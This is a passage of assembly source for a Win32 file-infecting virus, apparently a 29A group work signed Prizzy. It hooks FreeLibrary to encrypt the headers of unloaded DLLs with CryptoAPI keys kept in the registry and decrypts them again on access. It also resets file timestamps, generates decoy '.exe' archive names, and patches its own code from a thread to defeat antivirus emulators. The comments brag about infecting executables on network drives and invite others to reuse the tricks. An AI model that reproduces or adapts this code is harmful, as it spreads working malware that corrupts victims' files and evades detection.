yes, disable it cmp [ebp+__sai_counter],0000000Ch ;"Second" value ? jz __sai_disable_value ;if yes, disable it cmp [ebp+__sai_counter],7*2 ;end of table ? jnz __sai_next_value jmp __sai_new_value __sai_continue: xor eax,eax mov [ebp+SystemTime].wMilliseconds,ax add [ebp+SystemTime].wYear,1990 ; convert "SystemTime" to "FileTime" lea eax,[ebp+FileTime] ;FileTime structure push eax lea eax,[ebp+SystemTime] ;SystemTime structure push eax call [ebp+ddSystemTimeToFileTime] ; set FileTime pop ebx ;file handle lea eax,[ebp+FileTime] push eax ;LastWriteTime push 00000000h ;LastAccessTime push 00000000h ;CreationTime push ebx ;file handle call [ebp+ddSetFileTime] or eax,eax jz __sai_failed __sai_failed: ret ;--------------------------------------------------------- ;This function generates FileName to archive. ; ; input: ; EDI ... where put new name (maximum=8+1+3) ; output: ; EAX ... filename length ; generate_name: pusha cld lea esi,[ebp+gen_archive_filename] mov eax,gen_archive_number call ppe_get_rnd_range mov ecx,eax name_search: jecxz name_found movzx eax,byte ptr [esi+1] add eax,00000002h add esi,eax dec ecx jmp name_search name_found: mov ebx,edi mov al,byte ptr [esi] call gen_spec_char no_gen_1: movzx ecx,byte ptr [esi+1] add esi,00000002h rep movsb call gen_spec_char mov eax,'exe.' mov [edi],eax add edi,4 mov edx,edi sub edx,ebx mov ecx,8+1+3 sub ecx,edx xor al,al rep stosb movzx edx,dl mov [esp].access_eax,edx popa ret gen_spec_char: or al,al jz char_exit mov eax,00000002h call ppe_get_rnd_range or al,al jz char_exit mov byte ptr [edi],'!' inc edi char_exit: ret ;--------------------------------------------------------- ;This function copy source place to destination. So that ;it is MOVSD instruction with STD flag. ; ; input: ; ESI ... source place in memory ; EDI ... destination place in memory ; ECX ... number bytes to move ; ;Note: ESI, EDI ain't real addresses- to understand see on ; the first four instructions. ; __movsd_back: add esi,ecx ;This code has been stolen dec esi ;from CiA 1.50 sources. add edi,ecx dec edi ;(c)oded by Dement std ;dement@email.cz shr ecx,01h jnc __mb_nomovsb movsb __mb_nomovsb: jz __mb_finish dec esi dec edi shr ecx,01h jnc __mb_nomovsw movsw jz __mb_finish __mb_nomovsw: sub esi,00000002h sub edi,00000002h rep movsd ;copy me - I wanna travel __mb_finish: cld ret ;ÄÄÄ´ function to actualize compressed programs ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;--------------------------------------------------------- ;This function was called itself from Hyper Infection and ;it means the extension has been found. ; ; input: EDX ... file name ; EAX ... input parameter (pointer into table) ; EBX ... next filename in HyperTable archive_act: ; for more information about EAX (tables), find "AProgram" ; structure ; save registers & load EAX parameter pusha mov esi,eax add esi,ebp ; calculate filename length and allocate memory call __get_last_char sub edi,edx push edi ;filename length add edi,filename_size mov eax,edi call malloc mov [esi.program],eax ;save destination place ; copy filename there mov esi,edx mov edi,eax pop ecx ;filename length rep movsb ; disable this archive program mov byte ptr [ebx-HyperTable_HalfSize],01h ; restore registers popa ret ;ÄÄÄ´ threads ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;------------------------------------------------------------------------ ; Anti-emulators: ; ; Welcome everybody who wanna use this method in your viruses. At first ; I hope you know whats "thread" and "fiber" (see Benny's tutorial). So ; you active "__thread_1" which it'll patch your original code on NOPs, ; and after that, who will write that original code there ? ; ; __thread_1_begin: ; jmp $ ;instead this will be NOPs ; ; And by "@ANTI_E_START" macro you will PUSH that original values and ; then by "@ANTI_E_FINISH" you will restore those values. Try to debug ; this source and you'll understand it or send me mail. ; ;-------------------------------------------------------- ;This thread rewrite some bytes. Common anti-emulator. ; ; (__MyCreateThread) ; input: ; EAX ... address of this function (__thread_1) ; EBX ... information ; * upper imm8 reg ... bytes to patch ; * where from here (offset) ; __thread_1: push eax ecx ebp call get_base_ebp mov eax,[esp+00000010h] ;get thread parameter mov ecx,eax shr ecx,18h ;get last imm8 reg and eax,00FFFFFFh add eax,ebp __thread_1_loop: mov byte ptr [eax],90h ;patch it inc eax ;next byte to patch :) loop __thread_1_loop pop ebp ecx eax ret ;ÄÄÄ´ function to Win32 Cryptography APIs startup ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;--------------------------------------------------------- ;At last, at last I start to code this function, at last ! ;So, at first I must check if "Prizzy/29A" key exists. If ;not, I must create it. Also I'll check whether Crypto API ;functions exists in "ADVAPI32.DLL" file because they are ;from "Windows 95, OEM Service Release 2" and WinNT, sure! ;I cant also decrypt DLL files on network's disks because ;I must store CSP cryptography key in register class and ;on those disks I couldn't load that CSP public/simple key ;from that register. But it does not matter because I can ;infect EXE files on network's disks. Hehehe - Im perfect! ; crypto_startup: mov [ebp+crypto_Action ],00000000h mov [ebp+crypto_loadKey ],00000000h mov [ebp+crypto_Provider],00000000h ; check if cryptography functions has been found... cmp [ebp+ddCryptAcquireContextA],00000000h jz __cs_fault ; get if crypto key exists in registers... push 00000000h ;Flags push 00000001h ;PROV_RSA_FULL push 00000000h ;provider name lea eax,[ebp+crypto_KeyName] push eax ;my special key lea eax,[ebp+crypto_Provider] push eax ;CSP provider call [ebp+ddCryptAcquireContextA] or eax,eax ;does key exist ? jnz __cs_continue ; create new key push 00000008h ;CRYPT_NEWKEYSET push 00000001h ;PROV_RSA_FULL push 00000000h ;provider name lea eax,[ebp+crypto_KeyName] push eax ;my special key lea eax,[ebp+crypto_Provider] push eax ;CSP provider call [ebp+ddCryptAcquireContextA] or eax,eax jz __cs_fault ; register folder "Prizzy/29A" has been created or opened ; now, check whether I have to generate CPS key __cs_continue: call __cs_created_key jc __cs_fault ; generate CSP key for my... for my... for my purpose {:-) lea eax,[ebp+crypto_Key] push eax ;key's value push 00000001h ;CRYPT_EXPORTABLE push 00000001h ;AT_KEYEXCHANGE push [ebp+crypto_Provider] call [ebp+ddCryptGenKey] ;generate key or eax,eax jz __cs_fault ; get handle to the key exchange lea eax,[ebp+crypto_XchgKey] push eax push 00000001h ;AT_KEYEXCHANGE push [ebp+crypto_Provider] call [ebp+ddCryptGetUserKey] ; get a random block cipher session key lea eax,[ebp+crypto_Key] push eax push 00000001h ;CRYPT_EXPORTABLE push 00006602h ;CALG_RC2 push [ebp+crypto_Provider] call [ebp+ddCryptGenKey] ; determine size of key blob and allocate memory lea eax,[ebp+crypto_BlobLen] push eax push 00000000h push 00000000h push 00000001h ;SIMPLEBLOB push [ebp+crypto_XchgKey] push [ebp+crypto_Key] call [ebp+ddCryptExportKey] ;get simple blob key length ; allocate memory for SIMPLE key (maximum 256 bytes) mov eax,[ebp+crypto_BlobLen] call malloc mov [ebp+crypto_BlobKey],eax ; export key into a simple key blob lea eax,[ebp+crypto_BlobLen] push eax ;length of simple key push [ebp+crypto_BlobKey] ;simple blob key buffer push 00000000h push 00000001h ;SIMPLEBLOB push [ebp+crypto_XchgKey] push [ebp+crypto_Key] call [ebp+ddCryptExportKey] ;generate simple key ; get other registery information lea eax,[ebp+crypto_BlobHan] mov ecx,80000001h ;HKEY_CURRENT_USER lea esi,[ebp+crypto_Register] call __regOpen jc __cs_dealloc ; create binary sub-key "Kiss Of Death" it'll be "SimpleKey" push [ebp+crypto_BlobLen] ;size of value push [ebp+crypto_BlobKey] ;address of data buffer push 00000003h ;REG_BINARY flag push 00000000h ;reserved lea eax,[ebp+crypto_RegFlag] push eax ;name of value push [ebp+crypto_BlobHan] call [ebp+ddRegSetValueExA] ;update it :) or eax,eax jnz __cs_dealloc_2 __cs_close_reg: ; close register push [ebp+crypto_BlobHan] ;my register handle call [ebp+ddRegCloseKey] __cs_close_key: ; close cryptography key push [ebp+crypto_Key] ;my generated key call [ebp+ddCryptDestroyKey] __cs_finish: mov eax,[ebp+crypto_Provider] or eax,eax jz __cs_end push 00000000h push eax call [ebp+ddCryptReleaseContext] __cs_end: ret __cs_fault: mov [ebp+crypto_Action],00000001h jmp __cs_finish __cs_dealloc: mov eax,[ebp+crypto_BlobKey] call mdealloc mov [ebp+crypto_Action],00000001h jmp __cs_close_key __cs_dealloc_2: mov eax,[ebp+crypto_BlobKey] call mdealloc mov [ebp+crypto_Action],00000001h jmp __cs_close_reg ;--------------------------------------------------------- ;This function checks whether "Kiss Of Death" exists in ;"Prizzy/29A" cryptography register-class. All is because ;of CSP generating public key. ; __csck_regHan dd 00000000h ;register handle __csck_regFlag dd 00000000h ;register type flag ; __cs_created_key: ; open register folder "Prizzy/29A" lea eax,[ebp+__csck_regHan] mov ecx,80000001h ;HKEY_CURRENT_USER lea esi,[ebp+crypto_Register] call __regOpen jc __csck_fault ; open binary sub-key "Kiss Of Death" push 00000000h ;address of data buffer size push 00000000h ;address of data buffer mov eax,00000003h lea ebx,[ebp+__csck_regFlag] mov [ebx],eax push ebx ;REG_BINARY flag push 00000000h ;reserved lea eax,[ebp+crypto_RegFlag] push eax ;name of value push [ebp+__csck_regHan] call [ebp+ddRegQueryValueExA] or eax,eax pushf push [ebp+__csck_regHan] ;close register folder call [ebp+ddRegCloseKey] popf jz __csck_fault test al,0F9h ;hidden STC instruction __csck_fault equ $-1 ret ;ÄÄÄ´ function to crypt DLL file ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;--------------------------------------------------------- ;This function encrypts DLL file by Win32 Crypto functions ;I will encode only two kilobytes. ; ;Behaviour: ; * load SIMPLE key from reg ; * read 2008 bytes from DLL to memory ; * encrypt 1992 bytes ; * save last eight bytes because when i'll encode next ; eight bytes, WinAPI rewrite 16 bytes, not 8. ; * encrypt 8 bytes (in fact, it will be 16 bytes) ; * calculate CRC64 for that 8 bytes ; * save CRC64 and that 8 bytes to the end of file ; ; ; input: search_filename ... DLL file name ; __cf_handle dd 00000000h ;library's handle __cf_FSize dd 00000000h ;library's file size __cf_Memory dd 00000000h ;library's 2Kb body __cf_header dw 0000h ;library's signature __cf_EncodeSize dd 00000000h ;real encoded size __cf_QwordCRC64 dq 00h ;Qword CRC64 __cf_QWORD dq 00h ;bad WinAPI function ; crypt_file: ; don't call this function once again in actual time mov dword ptr [ebp+crypto_thread],00000000h ; check unCrypted DLLs mov ebx,[ebp+filename_ptr] call crypt_DLL_check jc __cf_finish ; check file, I don't wanna risk :) ["E:\XXXX\" directory] IFDEF DEBUG cmp dword ptr [ebp+filename],'X\:E' jnz __cf_finish cmp dword ptr [ebp+filename+4],'\XXX' jnz __cf_finish ENDIF ; open DLL file mov edx,[ebp+filename_ptr] call __MyOpenFile jc __cf_finish mov [ebp+__cf_handle],eax ; read its signature lea edx,[ebp+__cf_header] ;destination place mov ecx,00000002h ;bytes to read xor esi,esi ;file position mov ebx,[ebp+__cf_handle] call __MyReadFile jc __cf_fClose ; check its signature cmp word ptr [ebp+__cf_header],'ZM' jnz __cf_fClose ; get its file size mov ebx,[ebp+__cf_handle] call __MyGetFileSize mov [ebp+__cf_FSize],eax cmp eax,5000 ;lesser then 5Kb ? jb __cf_fClose ; allocate memory for 2 kilobytes mov eax,2008 call malloc mov [ebp+__cf_Memory],eax ; read two kilobytes mov edx,[ebp+__cf_Memory] ;destination place mov ecx,2008 ;number of bytes to read xor esi,esi ;file position mov ebx,[ebp+__cf_handle] ;file handle call __MyReadFile jc __cf_dealloc ; get PE/NE signature mov eax,[ebp+__cf_Memory] add eax,[eax.MZ_lfanew] cmp word ptr [eax],'EP' ;no PE sign ? jnz __cf_dealloc ; encrypt 1992 bytes (next 8 bytes will be with last flag) mov [ebp+__cf_EncodeSize],1992 push 2000 ;total bytes to encrypt lea eax,[ebp+__cf_EncodeSize] push eax ;real encoded size push [ebp+__cf_Memory] ;mem address push 00000000h ;flags push 00000000h ;last block ? push 00000000h ;hash push [ebp+__clk_hKey] ;imported key call [ebp+ddCryptEncrypt] or eax,eax jz __cf_dealloc ; save next two dwords to copro reg mov eax,[ebp+__cf_Memory] fsave [ebp+copro_nl_buffer] ;save all regz & flagz fild qword ptr [eax+000007D0h] fistp qword ptr [ebp+__cf_QWORD] frstor [ebp+copro_nl_buffer] ;restore all regz & flagz ; encode next 8 bytes mov [ebp+__cf_EncodeSize],8 push 2000 ;total bytes to encrypt lea eax,[ebp+__cf_EncodeSize] push eax ;real encoded size mov eax,[ebp+__cf_Memory] add eax,1992 push eax ;mem address push 00000000h ;flags push 00000001h ;last block ? push 00000000h ;hash ? push [ebp+__clk_hKey] ;imported key call [ebp+ddCryptEncrypt] or eax,eax jz __cf_dealloc ; save encypted data, what a dream {:-) mov edx,[ebp+__cf_Memory] mov ecx,2008 ;number of bytes to write xor esi,esi mov ebx,[ebp+__cf_handle] call __MyWriteFile jc __cf_dealloc ; get one DWORD from key and lose that value :) lea eax,[ebp+__cf_QWORD] mov ecx,00000008h ;QWORDs length push eax ;buffer position mov esi,eax ;start of CRC64 calculating call __bruteCRC64 ;wow! get CRC64 for BlobKey mov dword ptr [ebp+__cf_QwordCRC64],eax mov dword ptr [ebp+__cf_QwordCRC64+00000004h],edx pop esi xor ebx,ebx mov [esi],ebx ;clear that value :) ; write replaced QWORD on the end of file lea edx,[ebp+__cf_QwordCRC64] mov ecx,00000010h mov esi,[ebp+__cf_FSize] mov ebx,[ebp+__cf_handle] call __MyWriteFile jc __cf_dealloc __cf_dealloc: mov eax,[ebp+__cf_Memory] call mdealloc __cf_fClose: mov ebx,[ebp+__cf_handle] call __MyCloseFile __cf_finish: jmp __ct_finish ;go back to thread ;ÄÄÄ´ function to decrypt DLL file ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;--------------------------------------------------------- ;This function decrypts DLL file by WinAPI cryptography f. ; ;Behaviour: ; * load SIMPLE key from registers "Kiss Of Death" key :) ; * open DLL and read 2008 bytes, check 'MZ' if it's encr. ; * read 16 bytes, calculate right value by CRC64 ; * decrypt the first part ; * decrypt the second part of DLL file body ; * replace de-CRC64 bytes (eight bytes) ; * truncate files - 16 bytes ; ; ; input: filename_ptr ... DLL file name ; __df_handle dd 00000000h ;library's handle __df_header dw 0000h ;library's signature __df_FSize dd 00000000h ;library's file size __df_memory dd 00000000h ;library's memory __df_decSize dd 00000000h ;decode size ; __df_CRC64 dq 00h ;CRC64 of lost qword __df_QWORD dq 00h ;WinAPI lost qword ; decrypt_file: ; don't call this function once again in actual time mov dword ptr [ebp+crypto_thread],00000000h ; check unCrypted DLLs mov ebx,[ebp+filename_ptr] call crypt_DLL_check jc __df_finish ; check file, I don't wanna risk :) ["E:\XXXX\" directory] IFDEF DEBUG mov edx,[ebp+filename_ptr] cmp dword ptr [edx],'X\:E' jnz __df_finish cmp dword ptr [edx+00000004h],'\XXX' jnz __df_finish ENDIF ; open DLL file mov edx,[ebp+filename_ptr] call __MyOpenFile jc __df_finish mov [ebp+__df_handle],eax ; read two bytes and check whether library is crypted lea edx,[ebp+__df_header] mov ecx,00000002h ;two bytes to read xor esi,esi ;file position mov ebx,[ebp+__df_handle] call __MyReadFile jc __df_finish cmp [ebp+__df_header],'ZM' ;check library signature jz __df_fClose ; get library file size mov ebx,[ebp+__df_handle] call __MyGetFileSize mov [ebp+__df_FSize],eax cmp eax,5000 ;lesser then 5Kb ? jb __df_fClose ; load CRC64 and WinAPI lost qword lea edx,[ebp+__df_CRC64] mov ecx,00000010h mov esi,[ebp+__df_FSize] ;filesize sub esi,ecx ; - 10h (2*qword) mov ebx,[ebp+__df_handle] call __MyReadFile jc __df_fClose ; get real value from CRC64, by "brute-CRC64", i'm perfect !! lea esi,[ebp+__df_QWORD] ;input buffer mov ecx,00000008h ;lenght of buffer mov eax,dword ptr [ebp+__df_CRC64] mov edx,dword ptr [ebp+__df_CRC64+00000004h] call __get_bruteCRC64 ; allocate memory for 2Kb mov eax,2008 call malloc mov [ebp+__df_memory],eax ; read crypted bytes :) mov edx,[ebp+__df_memory] ;destination buffer mov ecx,2008 ;only 2Kb xor esi,esi mov ebx,[ebp+__df_handle] call __MyReadFile jc __df_dealloc ; decrypt the first part of DLL's body lea eax,[ebp+__df_decSize] mov dword ptr [eax],1992 ;number of bytes to decrypt push eax push [ebp+__df_memory] ;address of buffer push 00000000h ;flags push 00000000h ;it isn't last block push 00000000h ;hash push [ebp+__clk_hKey] ;imported key call [ebp+ddCryptDecrypt] or eax,eax jz __df_dealloc ; decrypt the second part of DLL's body lea eax,[ebp+__df_decSize] mov dword ptr [eax],8*2 ;number of bytes to decrypt push eax mov eax,[ebp+__df_memory] add eax,1992 push eax ;address of buffer push 00000000h ;flags push 00000001h ;is is last block push 00000000h ;hash push [ebp+__clk_hKey] ;imported key call [ebp+ddCryptDecrypt] or eax,eax jz __df_dealloc ; restore re-written bytes by WinAPI :( mov eax,[ebp+__df_memory] fsave [ebp+copro_nl_buffer] ;save all regz & flagz fild qword ptr [ebp+__df_QWORD] fistp qword ptr [eax+2000] frstor [ebp+copro_nl_buffer] ;restore all regz & flagz ; write the first 2008 bytes to DLL :) mov edx,[ebp+__df_memory] mov ecx,2008 xor esi,esi mov ebx,[ebp+__df_handle] call __MyWriteFile jc __df_dealloc ; truncate last sixteen bytes push 00000000h push 00000000h mov eax,[ebp+__df_FSize] sub eax,00000010h push eax ;new "End Of File" push [ebp+__df_handle] call [ebp+ddSetFilePointer] cmp eax,-1 jz __df_dealloc push [ebp+__df_handle] ;truncate last 16 bytes call [ebp+ddSetEndOfFile] __df_dealloc: mov eax,[ebp+__df_memory] call mdealloc __df_fClose: mov ebx,[ebp+__df_handle] call __MyCloseFile __df_finish: jmp __ct_finish ;go back to thread ;ÄÄÄ´ function to get cryptography key ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;--------------------------------------------------------- ;This function opens register to get SIMPLE key. ; ;Behaviour: ; * open register folder "\...\Cryptography\Prizzy/29A" ; * read SIMPLE key from "Kiss Of Death" ; * get CSP and import SIMPLE key by WinAPI functions ; * close register handle, return ImportedKey handle ; ; ; input: none ; output: EAX ... imported key (if error, EAX=0) ; __clk_regHan dd 00000000h ;register handle __clk_regFlag dd 00000000h ;register flags __clk_memory dd 00000000h ;key's memory place __clk_sim_len dd 00000000h ;simple key length __clk_provider dd 00000000h ;CSP provider __clk_hKey dd 00000000h ;imported key ; crypt_loadKey: ; don't call this function once again in actual time mov dword ptr [ebp+crypto_thread],00000000h ; get delta offset call get_base_ebp ; has key been loaded ? cmp dword ptr [ebp+crypto_loadKey],00000000h jnz __clk_finish xor eax,eax mov [ebp+__clk_hKey],eax ; open register folder lea eax,[ebp+__clk_regHan] mov ecx,80000001h ;HKEY_CURRENT_USER lea esi,[ebp+crypto_Register] call __regOpen jc __clk_finish ; allocate memory for SIMPLE key mov eax,00000100h call malloc mov [ebp+__clk_memory],eax ; load "Kiss Of Death" item, it is SIMPLE key... lea eax,[ebp+__clk_sim_len] mov dword ptr [eax],00000100h push eax ;address of data buffer size push [ebp+__clk_memory] ;address of data buffer mov eax,00000003h lea ebx,[ebp+__clk_regFlag] mov [ebx],eax push ebx ;REG_BINARY flag push 00000000h ;reserved lea eax,[ebp+crypto_RegFlag] push eax ;name of value push [ebp+__clk_regHan] call [ebp+ddRegQueryValueExA] or eax,eax jnz __clk_close_key ; get CPS provider handle push 00000000h ;Flags push 00000001h ;PROV_RSA_FULL push 00000000h ;provider name lea eax,[ebp+crypto_KeyName] push eax ;my special key lea eax,[ebp+__clk_provider] push eax ;CSP provider call [ebp+ddCryptAcquireContextA] or eax,eax ;does key exist ? jz __clk_close_key ; import SIMPLE key lea eax,[ebp+__clk_hKey] push eax ;imported key push 00000000h ;flags push 00000000h push [ebp+__clk_sim_len] ;length of SIMPLE key push [ebp+__clk_memory] ;SIMPLE key push [ebp+__clk_provider] call [ebp+ddCryptImportKey] __clk_close_key: push [ebp+__clk_regHan] call [ebp+ddRegCloseKey] __clk_dealloc: mov eax,[ebp+__clk_memory] call mdealloc mov [ebp+crypto_loadKey],'!A92' __clk_finish: mov eax,[ebp+__clk_hKey] ;imported key (0=error) jmp __ct_finish ;back to thread ;ÄÄÄ´ do NOT crypted DLL checking - name check and registry ÃÄÄÄÄÄÄÄÄÄÄÄÄÄ ;--------------------------------------------------------- ;This function checks whether DLL come under to the avoid ;table. Heh, what does it mean ? Why some DLLs can NOT be ;crypted ? Well, I hook all file operations from kernel32 ;memory when I'll be actived but till then system 'll open ;some libraries like KERNEL32.DLL, USER32.DLL ... and then ;it is my turn to hook, to check. This is that problem. ; __cdc_regHandle dd 00000000h ;register handle __cdc_valuesLen dd 00000000h ;MaxValueLen __cdc_values dd 00000000h ;number of values __cdc_buffSize dd 00000000h ;buffer size __cdc_nRegistry dd 00000000h ;number of r. classes __cdc_memory dd 00000000h ;namez ; ; input: EBX ... filename ; crypt_DLL_check: ; save all registers pusha ; check from our table lea esi,[ebp+crypto_unFiles] call validate_name ;is it do NOT crypt file ? jc __cdc_failed mov [ebp+__cdc_nRegistry], \ (crypto_unReg_E - crypto_unReg) / 4 - 1 ; open registry key __cdc_next_class: lea eax,[ebp+__cdc_regHandle] mov ecx,80000002h ;HKEY_LOCAL_MACHINE mov esi,[ebp+__cdc_nRegistry] mov esi,dword ptr [ebp+crypto_unReg+esi*04h] add esi,ebp call __regOpen jc __cdc_finish ;failed ? ; read number of values xor eax,eax push eax eax ;LWriteTime, SecDescriptor lea edx,[ebp+__cdc_valuesLen] push edx eax ;MaxValueLen, MaxValueNameLen lea edx,[ebp+__cdc_values] push edx eax eax eax eax eax eax push [ebp+__cdc_regHandle] call [ebp+ddRegQueryInfoKeyA] or eax,eax ;failed ? jnz __cdc_regClose ; allocate memory mov eax,[ebp+__cdc_values] imul eax,[ebp+__cdc_valuesLen] mov [ebp+__cdc_buffSize],eax inc eax ;double zero char call malloc mov [ebp+__cdc_memory],eax ; read all namez mov esi,[ebp+__cdc_memory] ;pointer to store value name __cdc_repeat: mov ecx,00000005h ;five layers dec dword ptr [ebp+__cdc_values] ;next value index __cdc_once_again: lea eax,[ebp+__cdc_valuesLen] ;length of value name push eax ;buffer's size push esi ;value name buffer push 00000000h ;type of value entry push 00000000h ;reserved call $+9 dd ? ;cbValueName push 00000000h ;value name push [ebp+__cdc_values] ;index of value to retrieve push [ebp+__cdc_regHandle] call [ebp+ddRegEnumValueA] ;read index entry cmp eax,000000EAh ;ERROR_MORE_DATA jnz __cdc_check_next loop __cdc_once_again ;try to read that once again __cdc_check_next: push [ebp+__cdc_valuesLen] ;number of characters push esi ;filename call [ebp+ddCharUpperBuffA] ;convert to uppercase add esi,[ebp+__cdc_valuesLen] ;next entry in memory buf cmp dword ptr [ebp+__cdc_values],00000000h jnz __cdc_repeat mov byte ptr [esi],01h ;end char status mov esi,[ebp+__cdc_memory] ;avoid table call validate_name ;EBX is filled pushf ;ehm :) ; close register class push [ebp+__cdc_regHandle] call [ebp+ddRegCloseKey] ; deallocate memory mov eax,[ebp+__cdc_memory] call mdealloc ; next register key popf ;ehm :) jc __cdc_failed cmp dword ptr [ebp+__cdc_nRegistry],00000000h jz __cdc_finish dec dword ptr [ebp+__cdc_nRegistry] jmp __cdc_next_class ; restore all registers __cdc_finish: test al,0F9h ;hidden STC instruction __cdc_failed equ $-1 popa ret ; close register class __cdc_regClose: push [ebp+__cdc_regHandle] call [ebp+ddRegCloseKey] jmp __cdc_finish ;ÄÄÄ´ cryptography thread ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;--------------------------------------------------------- ;This is true Cryptography thread which can run some common ;functions, because crypto functions allocated memory ain't ;shared, so I must use this thread. ; ; input: ; crypto_thread ... CT_LOADKEY - crypt_loadKey func ; ... CT_CRYPTFILE - crypt_file function ; ... CT_DECRYPTFILE - decrypt_file function ; ; output: ; crypto_thread_err ... lastError flag ; crypt_thread: ; save all registers & get delta offset pusha call get_base_ebp ; get thread action mov eax,[ebp+crypto_thread] cmp eax,CT_LOADKEY ;crypt_loadKey jz crypt_loadKey cmp eax,CT_CRYPTFILE ;crypt_file jz crypt_file cmp eax,CT_DECRYPTFILE ;decrypt_file jz decrypt_file jmp __ct_finish_all ;bad input parameter ; set (C)arry and EAX __ct_finish: mov [ebp+crypto_thread_err],eax ; restore all registers __ct_finish_all: push 2 ;wait for a while call [ebp+ddSleep] popa jmp crypt_thread ;ÄÄÄ´ get FileName of library ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;--------------------------------------------------------- ;This function is called from "FreeLibrary" function. Be- ;cause FL parameter is place in memory, I have to get its ;filename to crypt that. ; ;Behaviour: ; * get filename from handle (FreeLibrary parameter) ; * check DLL name (might I crypt u ?) ; * run FreeLibrary function (file was closed) ; * get process where I created "crypto thread" ; * crypt file (by thread: CT_CRYPTFILE flag) ; * go back (two ways: success OR failed) ; crypt_get_library: ; save all registers pusha ; get FileName of the module push filename_size lea eax,[ebp+filename] mov [ebp+filename_ptr],eax push eax ;input parameter for Free- push dword ptr [esp+00000054h] ;Library function call [ebp+ddGetModuleFileNameA] ; check whether I can crypt that file mov ebx,[ebp+filename_ptr] call crypt_DLL_check __final_SoftICE_2: nop nop ; int 4 ;final SoftICE breakpoint jc __cgl_finish ; free library from memory popa ;ehm :) popf popa push dword ptr [esp+00000008h] mov eax,[esp+00000004h] call [eax+1] ;FreeLibrary function, huh? pusha ; crypt that file call get_base_ebp ;damn bug ! cmp [ebp+crypto_thread_err],'!A92' jz __cgl_finish2 ;other process ? mov [ebp+crypto_thread],CT_CRYPTFILE mov [ebp+crypto_thread_err],'!A92' push [ebp+crypto_mainProcId] ;active process where I cre- push 00000000h ;ated my thread, I cannot push 00000001h ;active my thread from other call [ebp+ddOpenProcess] ;process then where was cre- push eax ;ated __cgl_cCryptFile: push 50 ;active crypto thread push dword ptr [esp+00000004h] call [ebp+ddWaitForSingleObject] cmp [ebp+crypto_thread_err],'!A92' jz __cgl_cCryptFile ;crypto thread must crypt DLL call [ebp+ddCloseHandle] ; restore all registers __cgl_finish2: popa add esp,00000004h ret 4 ;go back, my lord ! __cgl_finish: popa jmp __hif_finish ;ÄÄÄ´ common register functions ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ __regOpen: ; open certain register class ; input: ; EAX ... address of register handle ; ECX ... reg (HKEY_CURRENT_USER, HKEY_*, ...) ; ESI ... register class ; output: ; (C)flags ; EAX ... is NOT modified ; pusha ;save all registers push eax ;address of register handle push 000F003Fh ;flag: KEY_ALL_ACCESS push 00000000h ;reserved push esi ;register class push ecx ;reg id call [ebp+ddRegOpenKeyExA] or eax,eax ;fault ? popa ;restore registers jnz __cReg_fault test al,0F9h ;hidden STC instruction __cReg_fault equ $-1 ret ;ÄÄÄ´ functions to calculate brute-CRC64 and CRC32 for APIs ÃÄÄÄÄÄÄÄÄÄÄÄÄÄ ;--------------------------------------------------------- ;This function tries to calculate "brute-CRC64" value for ;certain buffer when the first two valuez won't know. So, ;I won't generate DWORD because this operation is very ;difficult for CPU but instead this I'll encode two WORDs. ;For DLL encrypting i use this method but for PPE-II I'll ;generate DWORD. ; ; input: ESI ... source data ; ECX ... defined data in buffer ESI ; ; output: EAX ... my low "brute-CRC64" value ; EDX ... my high "brute-CRC64" value ; __bruteCRC64: push esi ecx add esi,00000002h ;next WORD sub ecx,00000002h call __bCRC64_calculate pop ecx esi push eax ;save the 1st "CRC64" value call __bCRC64_calculate pop edx ret __bCRC64_calculate: xor edx,edx ;clear registers xor ebx,ebx xor eax,eax __bCRC64_next_byte: lodsb ;load next byte xor dl,al xor bh,dh sub ebx,eax mov al,8 __bCRC64_next_bit: rcl edx,1 ;set (c)arry ? jc __bCRC64_no_changes xor edx,0C1A7F39Ah ;ahhh, special valuez xor ebx,09C3B248Eh xor ebx,edx __bCRC64_no_changes: dec al ;next bit ? jnz __bCRC64_next_bit dec ecx jnz __bCRC64_next_byte xchg eax,ebx ;low value to EAX ret ;--------------------------------------------------------- ;This function wants to get right value which 's been lost ;Thru "brute-attack" method. ; ; input: ESI ... input buffer ; ECX ... number of bytes in buffer with l.value ; EAX ... low generated "brute-CRC64" value ; EDX ... high generated "brute-CRC64" value ; ; output: EAX ... original value ; __get_bruteCRC64: xor ebx,ebx mov [esi],ebx ;clear original value to zero push eax edx ;save generated "brute-CRC64" push esi ecx ;save POS and COUNTER add esi,00000002h ;the second value sub ecx,00000002h __g_bCRC64_second_word: push esi ecx ;save POS and COUNTER call __bCRC64_calculate ;check its "brute-CRC64" pop ecx esi inc word ptr [esi] ;increase original value cmp [esp+00000008h],eax ;ahhh, what's now ? jnz __g_bCRC64_second_word dec word ptr [esi] ;decrease original value pop ecx esi ;start of the 1st value __g_bCRC64_first_value: push esi ecx ;save POS and COUNTER call __bCRC64_calculate ;calculate its "brute-CRC64" pop ecx esi inc word ptr [esi] ;increase original value cmp [esp+4],eax ;ahhh, what's now ? jnz __g_bCRC64_first_value dec word ptr [esi] ;decrease original value add esp,00000008h ;take away CRC64 ret ;--------------------------------------------------------- ;This function calculates CRC32 for name of API functions. ;The code has been stolen from LoRez source, hi mLapse :) ; __mCRC32 equ 0C1A7F39Ah __mCRC32_init equ 09C3B248Eh ; __macro_CRC32 macro string crcReg = 